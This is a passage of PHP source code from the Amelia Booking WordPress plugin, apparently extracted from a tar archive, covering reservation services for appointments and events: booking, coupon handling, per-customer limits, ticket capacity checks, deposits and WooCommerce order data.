$helperService = $this->container->get('application.helper.service'); $customerCabinetUrl = $helperService->getCustomerCabinetUrl( $customer->getEmail()->getValue(), 'email', $appointment->getBookingStart()->getValue()->format('Y-m-d'), $appointment->getBookingEnd()->getValue()->format('Y-m-d'), $infoJson['locale'] ); } $result->setData( [ 'type' => Entities::APPOINTMENT, Entities::APPOINTMENT => $appointment->toArray(), Entities::BOOKING => $booking->toArray(), 'customer' => $customer->toArray(), 'packageId' => 0, 'recurring' => $recurringData, 'appointmentStatusChanged' => true, 'bookable' => $service->toArray(), 'utcTime' => $this->getBookingPeriods( $appointment, $booking, $service ), 'isRetry' => true, 'paymentId' => null, 'packageCustomerId' => null, 'payment' => null, 'customerCabinetUrl' => $customerCabinetUrl, ] ); return $result; } /** * @param Service $service * @param int $customerId * @param \DateTime $appointmentStart * * @return bool * @throws Exception */ public function checkLimitsPerCustomer($service, $customerId, $appointmentStart) { /** @var SettingsService $settingsDS */ $settingsDS = $this->container->get('domain.settings.service'); $limitPerCustomerGlobal = $settingsDS->getSetting('roles', 'limitPerCustomerService'); if (!empty($limitPerCustomerGlobal) || !empty($service->getLimitPerCustomer())) { $limitService = !empty($service->getLimitPerCustomer()) ? json_decode($service->getLimitPerCustomer()->getValue(), true) : null; $optionEnabled = empty($limitService) ? $limitPerCustomerGlobal['enabled'] : $limitService['enabled']; if ($optionEnabled) { /** @var AppointmentRepository $appointmentRepository */ $appointmentRepository = $this->container->get('domain.booking.appointment.repository'); $serviceSpecific = !empty($limitService['timeFrame']) || !empty($limitService['period']) || !empty($limitService['from']) || !empty($limitService['numberOfApp']); $limitPerCustomer = !empty($limitService) ? [ 'numberOfApp' => !empty($limitService['numberOfApp']) ? $limitService['numberOfApp'] : $limitPerCustomerGlobal['numberOfApp'], 'timeFrame' => !empty($limitService['timeFrame']) ? $limitService['timeFrame'] : $limitPerCustomerGlobal['timeFrame'], 'period' => !empty($limitService['period']) ? $limitService['period'] : $limitPerCustomerGlobal['period'], 'from' => !empty($limitService['from']) ? $limitService['from'] : $limitPerCustomerGlobal['from'] ] : $limitPerCustomerGlobal; $count = $appointmentRepository->getRelevantAppointmentsCount( $service, $customerId, $appointmentStart, $limitPerCustomer, $serviceSpecific ); if ($count >= $limitPerCustomer['numberOfApp']) { return true; } } } return false; } } Services/Reservation/EventReservationService.php 0000666 00000120065 15165412624 0016203 0 ustar 00 <?php namespace AmeliaBooking\Application\Services\Reservation; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Services\Booking\EventApplicationService; use AmeliaBooking\Application\Services\Coupon\CouponApplicationService; use AmeliaBooking\Domain\Collection\Collection; use AmeliaBooking\Domain\Common\Exceptions\BookingCancellationException; use AmeliaBooking\Domain\Common\Exceptions\BookingsLimitReachedException; use AmeliaBooking\Domain\Common\Exceptions\BookingUnavailableException; use AmeliaBooking\Domain\Common\Exceptions\CouponExpiredException; use AmeliaBooking\Domain\Common\Exceptions\CouponInvalidException; use AmeliaBooking\Domain\Common\Exceptions\CouponUnknownException; use AmeliaBooking\Domain\Common\Exceptions\CustomerBookedException; use AmeliaBooking\Domain\Common\Exceptions\EventBookingUnavailableException; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Bookable\AbstractBookable; use AmeliaBooking\Domain\Entity\Booking\Appointment\CustomerBooking; use AmeliaBooking\Domain\Entity\Booking\Appointment\CustomerBookingExtra; use AmeliaBooking\Domain\Entity\Booking\Event\CustomerBookingEventPeriod; use AmeliaBooking\Domain\Entity\Booking\Event\CustomerBookingEventTicket; use AmeliaBooking\Domain\Entity\Booking\Event\Event; use AmeliaBooking\Domain\Entity\Booking\Event\EventPeriod; use AmeliaBooking\Domain\Entity\Booking\Event\EventTicket; use AmeliaBooking\Domain\Entity\Booking\Reservation; use AmeliaBooking\Domain\Entity\Coupon\Coupon; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Entity\Location\Location; use AmeliaBooking\Domain\Entity\Payment\Payment; use AmeliaBooking\Domain\Entity\User\AbstractUser; use AmeliaBooking\Domain\Factory\Booking\Appointment\CustomerBookingFactory; use AmeliaBooking\Domain\Factory\Booking\Event\CustomerBookingEventPeriodFactory; use AmeliaBooking\Domain\Factory\Booking\Event\CustomerBookingEventTicketFactory; use AmeliaBooking\Domain\Services\DateTime\DateTimeService; use AmeliaBooking\Domain\Services\Reservation\ReservationServiceInterface; use AmeliaBooking\Domain\Services\Settings\SettingsService; use AmeliaBooking\Domain\ValueObjects\BooleanValueObject; use AmeliaBooking\Domain\ValueObjects\Number\Float\Price; use AmeliaBooking\Domain\ValueObjects\Number\Integer\Id; use AmeliaBooking\Domain\ValueObjects\Number\Integer\IntegerValue; use AmeliaBooking\Domain\ValueObjects\String\BookingStatus; use AmeliaBooking\Domain\ValueObjects\String\PaymentType; use AmeliaBooking\Domain\ValueObjects\String\Token; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Booking\Appointment\CustomerBookingExtraRepository; use AmeliaBooking\Infrastructure\Repository\Booking\Appointment\CustomerBookingRepository; use AmeliaBooking\Infrastructure\Repository\Booking\Event\CustomerBookingEventPeriodRepository; use AmeliaBooking\Infrastructure\Repository\Booking\Event\CustomerBookingEventTicketRepository; use AmeliaBooking\Infrastructure\Repository\Booking\Event\EventRepository; use AmeliaBooking\Infrastructure\Repository\Location\LocationRepository; use AmeliaBooking\Infrastructure\Repository\User\CustomerRepository; use AmeliaBooking\Infrastructure\WP\Translations\FrontendStrings; use DateTime; use Exception; use Slim\Exception\ContainerException; use Slim\Exception\ContainerValueNotFoundException; /** * Class EventReservationService * * @package AmeliaBooking\Application\Services\Reservation */ class EventReservationService extends AbstractReservationService { /** * @return string */ public function getType() { return Entities::EVENT; } /** * @param array $eventData * @param Reservation $reservation * @param bool $save * * @return void * * @throws CouponExpiredException * @throws CouponInvalidException * @throws CouponUnknownException * @throws BookingUnavailableException * @throws ContainerValueNotFoundException * @throws InvalidArgumentException * @throws QueryExecutionException * @throws Exception */ public function book($eventData, $reservation, $save) { /** @var LocationRepository $locationRepository */ $locationRepository = $this->container->get('domain.locations.repository'); /** @var EventApplicationService $eventApplicationService */ $eventApplicationService = $this->container->get('application.booking.event.service'); /** @var CouponApplicationService $couponAS */ $couponAS = $this->container->get('application.coupon.service'); /** @var Coupon $coupon */ $coupon = !empty($eventData['couponCode']) ? $couponAS->processCoupon( $eventData['couponCode'], [$eventData['eventId']], Entities::EVENT, $eventData['bookings'][0]['customerId'], $reservation->hasCouponValidation()->getValue() ) : null; if ($coupon) { $eventData['bookings'][0]['coupon'] = $coupon->toArray(); $eventData['bookings'][0]['couponId'] = $coupon->getId()->getValue(); } /** @var Event $event */ $event = $eventApplicationService->getEventById( $eventData['eventId'], [ 'fetchEventsPeriods' => true, 'fetchEventsTickets' => true, 'fetchApprovedBookings' => true, 'fetchBookingsTickets' => true, ] ); if ($event->getCustomPricing()->getValue()) { $event->setCustomTickets($eventApplicationService->getTicketsPriceByDateRange($event->getCustomTickets())); } $booking = CustomerBookingFactory::create( array_merge($eventData['bookings'][0], ['status' => BookingStatus::APPROVED]) ); if ($event->getCustomPricing()->getValue()) { $booking->setPersons(new IntegerValue(0)); } $bookingStatus = BookingStatus::APPROVED; if (!empty($eventData['payment']['gateway'])) { $bookingStatus = $eventData['payment']['gateway'] === PaymentType::MOLLIE ? BookingStatus::PENDING : BookingStatus::APPROVED; if (!empty($eventData['payment']['orderStatus'])) { $bookingStatus = $this->getWcStatus( Entities::EVENT, $eventData['payment']['orderStatus'], 'booking', false ) ?: $bookingStatus; } } $booking->setStatus(new BookingStatus($bookingStatus)); $personsCount = 0; /** @var CustomerBooking $customerBooking */ foreach ($event->getBookings()->getItems() as $customerBooking) { if ($customerBooking->getStatus()->getValue() === BookingStatus::APPROVED) { $personsCount += $customerBooking->getPersons()->getValue(); } if ($customerBooking->getStatus()->getValue() !== BookingStatus::CANCELED && !$event->getBookMultipleTimes()->getValue() && $booking->getCustomerId()->getValue() === $customerBooking->getCustomerId()->getValue() ) { throw new CustomerBookedException( FrontendStrings::getCommonStrings()['customer_already_booked_ev'] ); } } /** @var SettingsService $settingsDS */ $settingsDS = $this->container->get('domain.settings.service'); $limitPerCustomerEvents = $settingsDS->getSetting('roles', 'limitPerCustomerEvent'); if (!empty($limitPerCustomerEvents) && $limitPerCustomerEvents['enabled'] && empty($eventData['isBackendOrCabinet']) ) { /** @var EventRepository $eventRepository */ $eventRepository = $this->container->get('domain.booking.event.repository'); $count = $eventRepository->getRelevantBookingsCount( $event, $booking->toArray(), $limitPerCustomerEvents ); if ($count >= $limitPerCustomerEvents['numberOfApp']) { throw new BookingsLimitReachedException( FrontendStrings::getCommonStrings()['bookings_limit_reached'] ); } } /** @var AbstractUser $currentUser */ $currentUser = $this->container->get('logged.in.user'); $isCustomer = (!$currentUser || ($currentUser->getType() === AbstractUser::USER_ROLE_CUSTOMER)); $isProvider = $reservation->getLoggedInUser() && $reservation->getLoggedInUser()->getType() === AbstractUser::USER_ROLE_PROVIDER; if ($reservation->hasAvailabilityValidation()->getValue() && $isCustomer && !$isProvider && !$this->isBookable($event, $booking, DateTimeService::getNowDateTimeObject()) ) { throw new BookingUnavailableException( FrontendStrings::getCommonStrings()['time_slot_unavailable'] ); } $booking->setAggregatedPrice(new BooleanValueObject($event->getAggregatedPrice() ? $event->getAggregatedPrice()->getValue() : true)); $paymentAmount = $this->getPaymentAmount($booking, $event); $applyDeposit = $eventData['bookings'][0]['deposit'] && $eventData['payment']['gateway'] !== PaymentType::ON_SITE; if ($applyDeposit) { $personsCount = $booking->getPersons()->getValue(); if ($booking->getTicketsBooking() && $event->getCustomPricing()->getValue()) { $personsCount = 0; /** @var CustomerBookingEventTicket $bookingToEventTicket */ foreach ($booking->getTicketsBooking()->getItems() as $bookingToEventTicket) { $personsCount += ($bookingToEventTicket->getPersons() ? $bookingToEventTicket->getPersons()->getValue() : 0); } } $paymentDeposit = $this->calculateDepositAmount( $paymentAmount, $event, $personsCount ); $eventData['payment']['deposit'] = $paymentAmount !== $paymentDeposit; $paymentAmount = $paymentDeposit; } if ($save) { /** @var CustomerBookingRepository $bookingRepository */ $bookingRepository = $this->container->get('domain.booking.customerBooking.repository'); /** @var CustomerBookingExtraRepository $bookingExtraRepository */ $bookingExtraRepository = $this->container->get('domain.booking.customerBookingExtra.repository'); /** @var CustomerBookingEventPeriodRepository $bookingEventPeriodRepository */ $bookingEventPeriodRepository = $this->container->get('domain.booking.customerBookingEventPeriod.repository'); /** @var CustomerBookingEventTicketRepository $bookingEventTicketRepository */ $bookingEventTicketRepository = $this->container->get('domain.booking.customerBookingEventTicket.repository'); $booking->setPrice(new Price($event->getPrice()->getValue())); $booking->setToken(new Token()); if ($booking->getTicketsBooking() && $event->getCustomPricing()->getValue()) { $ticketSumPrice = 0; /** @var CustomerBookingEventTicket $bookingToEventTicket */ foreach ($booking->getTicketsBooking()->getItems() as $bookingToEventTicket) { /** @var EventTicket $ticket */ $ticket = $event->getCustomTickets()->getItem( $bookingToEventTicket->getEventTicketId()->getValue() ); $ticketPrice = $ticket->getDateRangePrice() ? $ticket->getDateRangePrice()->getValue() : $ticket->getPrice()->getValue(); $ticketSumPrice += $bookingToEventTicket->getPersons() ? ($booking->getAggregatedPrice()->getValue() ? $bookingToEventTicket->getPersons()->getValue() : 1) * $ticketPrice : 0; } $booking->setPrice(new Price($ticketSumPrice)); } $booking->setActionsCompleted(new BooleanValueObject(!empty($eventData['payment']['isBackendBooking']))); $bookingId = $bookingRepository->add($booking); /** @var CustomerBookingExtra $bookingExtra */ foreach ($booking->getExtras()->getItems() as $bookingExtra) { $bookingExtra->setCustomerBookingId(new Id($bookingId)); $bookingExtraId = $bookingExtraRepository->add($bookingExtra); $bookingExtra->setId(new Id($bookingExtraId)); } $booking->setId(new Id($bookingId)); /** @var Payment $payment */ $payment = $this->addPayment( $booking->getId()->getValue(), null, $eventData['payment'], $paymentAmount, $event->getPeriods()->getItem(0)->getPeriodStart()->getValue(), Entities::EVENT ); /** @var Collection $payments */ $payments = new Collection(); $payments->addItem($payment); $booking->setPayments($payments); /** @var EventPeriod $eventPeriod */ foreach ($event->getPeriods()->getItems() as $eventPeriod) { /** @var CustomerBookingEventPeriod $bookingEventPeriod */ $bookingEventPeriod = CustomerBookingEventPeriodFactory::create( [ 'eventPeriodId' => $eventPeriod->getId()->getValue(), 'customerBookingId' => $bookingId ] ); $bookingEventPeriodRepository->add($bookingEventPeriod); } /** @var CustomerBookingEventTicket $eventTicket */ foreach ($booking->getTicketsBooking()->getItems() as $eventTicket) { if ($eventTicket->getPersons()) { /** @var EventTicket $ticket */ $ticket = $event->getCustomTickets()->getItem($eventTicket->getEventTicketId()->getValue()); $ticketPrice = $ticket->getDateRangePrice() ? $ticket->getDateRangePrice()->getValue() : $ticket->getPrice()->getValue(); /** @var CustomerBookingEventTicket $bookingEventTicket */ $bookingEventTicket = CustomerBookingEventTicketFactory::create( [ 'eventTicketId' => $eventTicket->getEventTicketId()->getValue(), 'customerBookingId' => $bookingId, 'persons' => $eventTicket->getPersons()->getValue(), 'price' => $ticketPrice, ] ); $bookingEventTicketRepository->add($bookingEventTicket); } } $event->getBookings()->addItem($booking, $booking->getId()->getValue()); } if ($event->getLocationId()) { /** @var Location $location */ $location = $locationRepository->getById($event->getLocationId()->getValue()); $event->setLocation($location); } $reservation->setApplyDeposit(new BooleanValueObject($applyDeposit)); $reservation->setCustomer($booking->getCustomer()); $reservation->setBookable($event); $reservation->setBooking($booking); $reservation->setReservation($event); $reservation->setRecurring(new Collection()); $reservation->setPackageReservations(new Collection()); $reservation->setIsStatusChanged(new BooleanValueObject(false)); } /** * @param CustomerBooking $booking * @param string $requestedStatus * * @return array * * @throws ContainerException * @throws ContainerValueNotFoundException * @throws InvalidArgumentException * @throws QueryExecutionException * @throws BookingCancellationException */ public function updateStatus($booking, $requestedStatus) { /** @var CustomerBookingRepository $bookingRepository */ $bookingRepository = $this->container->get('domain.booking.customerBooking.repository'); /** @var SettingsService $settingsDS */ $settingsDS = $this->container->get('domain.settings.service'); /** @var Event $reservation */ $event = $this->getReservationByBookingId($booking->getId()->getValue()); if ($requestedStatus === BookingStatus::CANCELED) { $minimumCancelTimeInSeconds = $settingsDS ->getEntitySettings($event->getSettings()) ->getGeneralSettings() ->getMinimumTimeRequirementPriorToCanceling(); $this->inspectMinimumCancellationTime( $event->getPeriods()->getItem(0)->getPeriodStart()->getValue(), $minimumCancelTimeInSeconds ); } $booking->setStatus(new BookingStatus($requestedStatus)); $bookingRepository->update($booking->getId()->getValue(), $booking); return [ Entities::EVENT => $event->toArray(), 'appointmentStatusChanged' => false, Entities::BOOKING => $booking->toArray() ]; } /** * @param Event $reservation * @param CustomerBooking $booking * @param AbstractBookable $bookable * * @return array */ public function getBookingPeriods($reservation, $booking, $bookable) { $dates = []; /** @var EventPeriod $period */ foreach ($reservation->getPeriods()->getItems() as $period) { $dates[] = [ 'start' => DateTimeService::getCustomDateTimeInUtc( $period->getPeriodStart()->getValue()->format('Y-m-d H:i:s') ), 'end' => DateTimeService::getCustomDateTimeInUtc( $period->getPeriodEnd()->getValue()->format('Y-m-d H:i:s') ) ]; } return $dates; } /** * @param array $data * * @return AbstractBookable * * @throws ContainerValueNotFoundException * @throws QueryExecutionException * @throws InvalidArgumentException */ public function getBookableEntity($data) { /** @var EventRepository $eventRepository */ $eventRepository = $this->container->get('domain.booking.event.repository'); return $eventRepository->getById($data['eventId']); } /** * @param Event $bookable * * @return boolean */ public function isAggregatedPrice($bookable) { return $bookable->getAggregatedPrice()->getValue(); } /** * @param BooleanValueObject $bookableAggregatedPrice * @param BooleanValueObject $extraAggregatedPrice * * @return boolean */ public function isExtraAggregatedPrice($extraAggregatedPrice, $bookableAggregatedPrice) { return true; } /** * @param Reservation $reservation * @param string $paymentGateway * @param array $requestData * * @return array * * @throws InvalidArgumentException */ public function getWooCommerceData($reservation, $paymentGateway, $requestData) { /** @var Event $event */ $event = $reservation->getBookable(); /** @var AbstractUser $customer */ $customer = $reservation->getCustomer(); /** @var CustomerBooking $booking */ $booking = $reservation->getBooking(); $dateTimeValues = []; /** @var EventPeriod $period */ foreach ($event->getPeriods()->getItems() as $period) { $dateTimeValues[] = [ 'start' => $period->getPeriodStart()->getValue()->format('Y-m-d H:i'), 'end' => $period->getPeriodEnd()->getValue()->format('Y-m-d H:i') ]; } $info = [ 'type' => Entities::EVENT, 'eventId' => $event->getId()->getValue(), 'name' => $event->getName()->getValue(), 'couponId' => $booking->getCoupon() ? $booking->getCoupon()->getId()->getValue() : '', 'couponCode' => $booking->getCoupon() ? $booking->getCoupon()->getCode()->getValue() : '', 'dateTimeValues' => $dateTimeValues, 'bookings' => [ [ 'customerId' => $customer->getId() ? $customer->getId()->getValue() : null, 'customer' => [ 'email' => $customer->getEmail()->getValue(), 'externalId' => $customer->getExternalId() ? $customer->getExternalId()->getValue() : null, 'firstName' => $customer->getFirstName()->getValue(), 'id' => $customer->getId() ? $customer->getId()->getValue() : null, 'lastName' => $customer->getLastName()->getValue(), 'phone' => $customer->getPhone()->getValue(), 'countryPhoneIso' => $customer->getCountryPhoneIso() ? $customer->getCountryPhoneIso()->getValue() : null ], 'info' => $booking->getInfo()->getValue(), 'persons' => $booking->getPersons()->getValue(), 'extras' => [], 'utcOffset' => $booking->getUtcOffset() ? $booking->getUtcOffset()->getValue() : null, 'customFields' => $booking->getCustomFields() ? json_decode($booking->getCustomFields()->getValue(), true) : null, 'deposit' => $reservation->getApplyDeposit()->getValue(), 'ticketsData' => $requestData['bookings'][0]['ticketsData'], ] ], 'payment' => [ 'gateway' => $paymentGateway ], 'locale' => $reservation->getLocale()->getValue(), 'timeZone' => $reservation->getTimeZone()->getValue(), 'recurring' => [], 'package' => [], ]; foreach ($booking->getExtras()->keys() as $extraKey) { /** @var CustomerBookingExtra $bookingExtra */ $bookingExtra = $booking->getExtras()->getItem($extraKey); $info['bookings'][0]['extras'][] = [ 'extraId' => $bookingExtra->getExtraId()->getValue(), 'quantity' => $bookingExtra->getQuantity()->getValue() ]; } return $info; } /** * @param array $reservation * * @return array * * @throws InvalidArgumentException */ public function getWooCommerceDataFromArray($reservation, $index) { /** @var array $event */ $event = $reservation['bookable']; /** @var array $customer */ $customer = $reservation['customer']; /** @var array $booking */ $booking = $reservation['booking']; if (!empty($booking['ticketsData'])) { foreach ($booking['ticketsData'] as &$ticket) { $customTicketIndex = array_search( $ticket['eventTicketId'], array_column($reservation['event']['customTickets'], 'id') ); if ($customTicketIndex !== false) { $ticket['name'] = $reservation['event']['customTickets'][$customTicketIndex]['name']; } } } $dateTimeValues = []; $customerInfo = !empty($booking['info']) ? json_decode($booking['info'], true) : null; /** @var EventPeriod $period */ foreach ($event['periods'] as $period) { $dateTimeValues[] = [ 'start' => $period['periodStart'], 'end' => $period['periodEnd'] ]; } $info = [ 'type' => Entities::EVENT, 'eventId' => $event['id'], 'name' => $event['name'], 'couponId' => $booking['coupon'] ? $booking['coupon']['id'] : '', 'couponCode' => $booking['coupon'] ? $booking['coupon']['code'] : '', 'dateTimeValues' => $dateTimeValues, 'bookings' => [ [ 'customerId' => $customer['id'], 'customer' => [ 'email' => $customer['email'], 'externalId' => $customer['externalId'], 'firstName' => $customer['firstName'], 'id' => $customer['id'], 'lastName' => $customer['lastName'], 'phone' => $customer['phone'], 'countryPhoneIso' => $customer['countryPhoneIso'] ], 'info' => $booking['info'], 'persons' => $booking['persons'], 'extras' => [], 'utcOffset' => $booking['utcOffset'], 'customFields' => $booking['customFields'] ? json_decode($booking['customFields'], true) : null, 'deposit' => $booking['price'] > $booking['payments'][0]['amount'], 'ticketsData' => $booking['ticketsData'], ] ], 'payment' => [ 'gateway' => $booking['payments'][0]['gateway'] ], 'locale' => $customerInfo ? $customerInfo['locale'] : null, 'timeZone' => $customerInfo ? $customerInfo['timeZone'] : null, 'recurring' => [], 'package' => [], ]; foreach ($booking['extras'] as $extra) { $info['bookings'][0]['extras'][] = [ 'extraId' => $extra['id'], 'quantity' => $extra['quantity'] ]; } return $info; } /** * @param int $id * * @return Event * * @throws ContainerValueNotFoundException * @throws QueryExecutionException * @throws InvalidArgumentException */ public function getReservationByBookingId($id) { /** @var EventRepository $eventRepository */ $eventRepository = $this->container->get('domain.booking.event.repository'); /** @var Event $event */ $event = $eventRepository->getByBookingId( $id, [ 'fetchEventsTickets' => true, 'fetchEventsTags' => true, 'fetchEventsProviders' => true, 'fetchEventsImages' => true, ] ); /** @var Collection $eventsBookings */ $eventsBookings = $eventRepository->getBookingsByCriteria( [ 'ids' => [$event->getId()->getValue()], 'fetchBookings' => true, 'fetchBookingsTickets' => true, 'fetchBookingsUsers' => true, 'fetchBookingsPayments' => true, ] ); if ($eventsBookings->keyExists($event->getId()->getValue())) { $event->setBookings($eventsBookings->getItem($event->getId()->getValue())); } return $event; } /** * @param Event $reservation * @param CustomerBooking $newBooking * @param DateTime $dateTime * * @return boolean * * @throws InvalidArgumentException */ public function isBookable($reservation, $newBooking, $dateTime) { if ($reservation->getCustomPricing() && $reservation->getCustomPricing()->getValue() && !$reservation->getMaxCustomCapacity()) { $availableTicketsSpots = []; /** @var EventTicket $ticket */ foreach ($reservation->getCustomTickets()->getItems() as $ticket) { $availableTicketsSpots[$ticket->getId()->getValue()] = $ticket->getSpots()->getValue(); } $reservedTicketsSpots = []; /** @var CustomerBooking $booking */ foreach ($reservation->getBookings()->getItems() as $booking) { if ($booking->getStatus()->getValue() === BookingStatus::APPROVED) { /** @var CustomerBookingEventTicket $bookingTicket */ foreach ($booking->getTicketsBooking()->getItems() as $bookingTicket) { $eventTicketId = $bookingTicket->getEventTicketId()->getValue(); if (!array_key_exists($eventTicketId, $reservedTicketsSpots)) { $reservedTicketsSpots[$eventTicketId] = 0; } $reservedTicketsSpots[$eventTicketId] += $bookingTicket->getPersons()->getValue(); } } } if ($newBooking) { /** @var CustomerBookingEventTicket $newBookingTicket */ foreach ($newBooking->getTicketsBooking()->getItems() as $newBookingTicket) { $eventTicketId = $newBookingTicket->getEventTicketId()->getValue(); if (empty($reservedTicketsSpots[$eventTicketId])) { $reservedTicketsSpots[$eventTicketId] = 0; } $reservedTicketsSpots[$eventTicketId] += $newBookingTicket->getPersons() ? $newBookingTicket->getPersons()->getValue() : 0; } } $hasTicketCapacity = []; foreach ($availableTicketsSpots as $eventTicketId => $availablePersons) { $hasTicketCapacity[$eventTicketId] = array_key_exists($eventTicketId, $reservedTicketsSpots) ? ($newBooking ? $reservedTicketsSpots[$eventTicketId] <= $availablePersons : $reservedTicketsSpots[$eventTicketId] < $availablePersons) : true; } $hasCapacity = false; foreach ($hasTicketCapacity as $ticketId => $ticketCapacity) { if ($newBooking) { $hasCapacity = true; /** @var EventTicket $ticket */ $ticket = $reservation->getCustomTickets()->getItem($ticketId); /** @var CustomerBookingEventTicket $ticketBooking */ foreach ($newBooking->getTicketsBooking()->getItems() as $ticketBooking) { if ($ticketBooking->getEventTicketId()->getValue() === $ticketId && $ticketBooking->getPersons() && $ticketBooking->getPersons()->getValue() && (!$ticketCapacity || !$ticket->getEnabled()->getValue()) ) { $hasCapacity = false; break 2; } } } else { $hasCapacity = $hasCapacity || $ticketCapacity; } } } else if ($reservation->getMaxCustomCapacity()) { $availableTicketsSpots = $reservation->getMaxCustomCapacity()->getValue(); $reservedTicketsSpots = 0; /** @var CustomerBooking $booking */ foreach ($reservation->getBookings()->getItems() as $booking) { if ($booking->getStatus()->getValue() === BookingStatus::APPROVED) { /** @var CustomerBookingEventTicket $bookingTicket */ foreach ($booking->getTicketsBooking()->getItems() as $bookingTicket) { $reservedTicketsSpots += $bookingTicket->getPersons()->getValue(); } } } if ($newBooking) { /** @var CustomerBookingEventTicket $newBookingTicket */ foreach ($newBooking->getTicketsBooking()->getItems() as $newBookingTicket) { $reservedTicketsSpots += $newBookingTicket->getPersons() ? $newBookingTicket->getPersons()->getValue() : 0; } } $hasCapacity = ($newBooking ? $reservedTicketsSpots <= $availableTicketsSpots : $reservedTicketsSpots < $availableTicketsSpots); } else { $persons = 0; /** @var CustomerBooking $booking */ foreach ($reservation->getBookings()->getItems() as $booking) { if ($booking->getStatus()->getValue() === BookingStatus::APPROVED) { $persons += $booking->getPersons()->getValue(); } } if ($newBooking) { $hasCapacity = ($reservation->getMaxCapacity()->getValue() - $persons - $newBooking->getPersons()->getValue()) >= 0; } else { $hasCapacity = $reservation->getMaxCapacity()->getValue() - $persons > 0; } } $bookingCloses = $reservation->getBookingCloses() ? $reservation->getBookingCloses()->getValue() : $reservation->getPeriods()->getItem(0)->getPeriodStart()->getValue(); $bookingOpens = $reservation->getBookingOpens() ? $reservation->getBookingOpens()->getValue() : $reservation->getCreated()->getValue(); return $dateTime > $bookingOpens && $dateTime < $bookingCloses && $hasCapacity && in_array($reservation->getStatus()->getValue(), [BookingStatus::APPROVED, BookingStatus::PENDING], true); } /** * @param Reservation $reservation * * @return float * * @throws InvalidArgumentException */ public function getReservationPaymentAmount($reservation) { /** @var Event $bookable */ $bookable = $reservation->getBookable(); $paymentAmount = $this->getPaymentAmount($reservation->getBooking(), $bookable); if ($reservation->getApplyDeposit()->getValue()) { $personsCount = $reservation->getBooking()->getPersons()->getValue(); if ($reservation->getBooking()->getTicketsBooking() && $bookable->getCustomPricing()->getValue()) { $personsCount = 0; /** @var CustomerBookingEventTicket $bookingToEventTicket */ foreach ($reservation->getBooking()->getTicketsBooking()->getItems() as $bookingToEventTicket) { $personsCount += ($bookingToEventTicket->getPersons() ? $bookingToEventTicket->getPersons()->getValue() : 0); } } $paymentAmount = $this->calculateDepositAmount( $paymentAmount, $bookable, $personsCount ); } return $paymentAmount; } /** * @param Payment $payment * @param boolean $fromLink * * @return CommandResult * @throws InvalidArgumentException * @throws Exception * @throws \Interop\Container\Exception\ContainerException */ public function getReservationByPayment($payment, $fromLink = false) { $result = new CommandResult(); /** @var CustomerRepository $customerRepository */ $customerRepository = $this->container->get('domain.users.customers.repository'); /** @var LocationRepository $locationRepository */ $locationRepository = $this->container->get('domain.locations.repository'); /** @var ReservationServiceInterface $reservationService */ $reservationService = $this->container->get('application.reservation.service')->get(Entities::EVENT); /** @var Event $event */ $event = $reservationService->getReservationByBookingId( $payment->getCustomerBookingId()->getValue() ); if ($event->getLocationId()) { /** @var Location $location */ $location = $locationRepository->getById($event->getLocationId()->getValue()); $event->setLocation($location); } /** @var CustomerBooking $booking */ $booking = $event->getBookings()->getItem($payment->getCustomerBookingId()->getValue()); $booking->setChangedStatus(new BooleanValueObject(true)); $this->setToken($booking); /** @var AbstractUser $customer */ $customer = $customerRepository->getById($booking->getCustomerId()->getValue()); $result->setData( [ 'type' => Entities::EVENT, Entities::EVENT => $event->toArray(), Entities::BOOKING => $booking->toArray(), 'appointmentStatusChanged' => false, 'customer' => $customer->toArray(), 'packageId' => 0, 'recurring' => [], 'utcTime' => $reservationService->getBookingPeriods( $event, $booking, $event ), 'isRetry' => !$fromLink, 'fromLink' => $fromLink, 'paymentId' => $payment->getId()->getValue(), 'packageCustomerId' => null, 'payment' => [ 'id' => $payment->getId()->getValue(), 'amount' => $payment->getAmount()->getValue(), 'gateway' => $payment->getGateway()->getName()->getValue(), 'gatewayTitle' => $payment->getGatewayTitle() ? $payment->getGatewayTitle()->getValue() : '', ], ] ); return $result; } /** * @param int $bookingId * * @return CommandResult * @throws InvalidArgumentException * @throws Exception * @throws \Interop\Container\Exception\ContainerException */ public function getBookingResultByBookingId($bookingId) { $result = new CommandResult(); /** @var CustomerRepository $customerRepository */ $customerRepository = $this->container->get('domain.users.customers.repository'); /** @var LocationRepository $locationRepository */ $locationRepository = $this->container->get('domain.locations.repository'); /** @var ReservationServiceInterface $reservationService */ $reservationService = $this->container->get('application.reservation.service')->get(Entities::EVENT); /** @var Event $event */ $event = $reservationService->getReservationByBookingId( $bookingId ); if ($event->getLocationId()) { /** @var Location $location */ $location = $locationRepository->getById($event->getLocationId()->getValue()); $event->setLocation($location); } /** @var CustomerBooking $booking */ $booking = $event->getBookings()->getItem($bookingId); $booking->setChangedStatus(new BooleanValueObject(true)); $this->setToken($booking); /** @var AbstractUser $customer */ $customer = $customerRepository->getById($booking->getCustomerId()->getValue()); $result->setData( [ 'type' => Entities::EVENT, Entities::EVENT => $event->toArray(), Entities::BOOKING => $booking->toArray(), 'appointmentStatusChanged' => false, 'customer' => $customer->toArray(), 'packageId' => 0, 'recurring' => [], 'utcTime' => $reservationService->getBookingPeriods( $event, $booking, $event ), 'isRetry' => true, 'paymentId' => null, 'packageCustomerId' => null, 'payment' => null, ] ); return $result; } } Services/Reservation/ReservationService.php 0000666 00000003243 15165412624 0015177 0 ustar 00 <?php namespace AmeliaBooking\Application\Services\Reservation; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Services\Reservation\ReservationServiceInterface; use AmeliaBooking\Infrastructure\Common\Container; use InvalidArgumentException; /** * Class ReservationService * * @package AmeliaBooking\Application\Services\Reservation */ class ReservationService { /** @var Container $container */ protected $container; /** * AbstractReservationService constructor. * * @param Container $container * * @throws InvalidArgumentException */ public function __construct(Container $container) { $this->container = $container; } /** * @param string $type * @return ReservationServiceInterface */ public function get($type) { switch ($type) { case (Entities::APPOINTMENT): /** @var ReservationServiceInterface $reservationService */ $reservationService = $this->container->get('application.reservation.appointment.service'); return $reservationService; case (Entities::PACKAGE): /** @var ReservationServiceInterface $reservationService */ $reservationService = $this->container->get('application.reservation.appointment.service'); return $reservationService; case (Entities::EVENT): /** @var ReservationServiceInterface $reservationService */ $reservationService = $this->container->get('application.reservation.event.service'); return $reservationService; } return null; } } 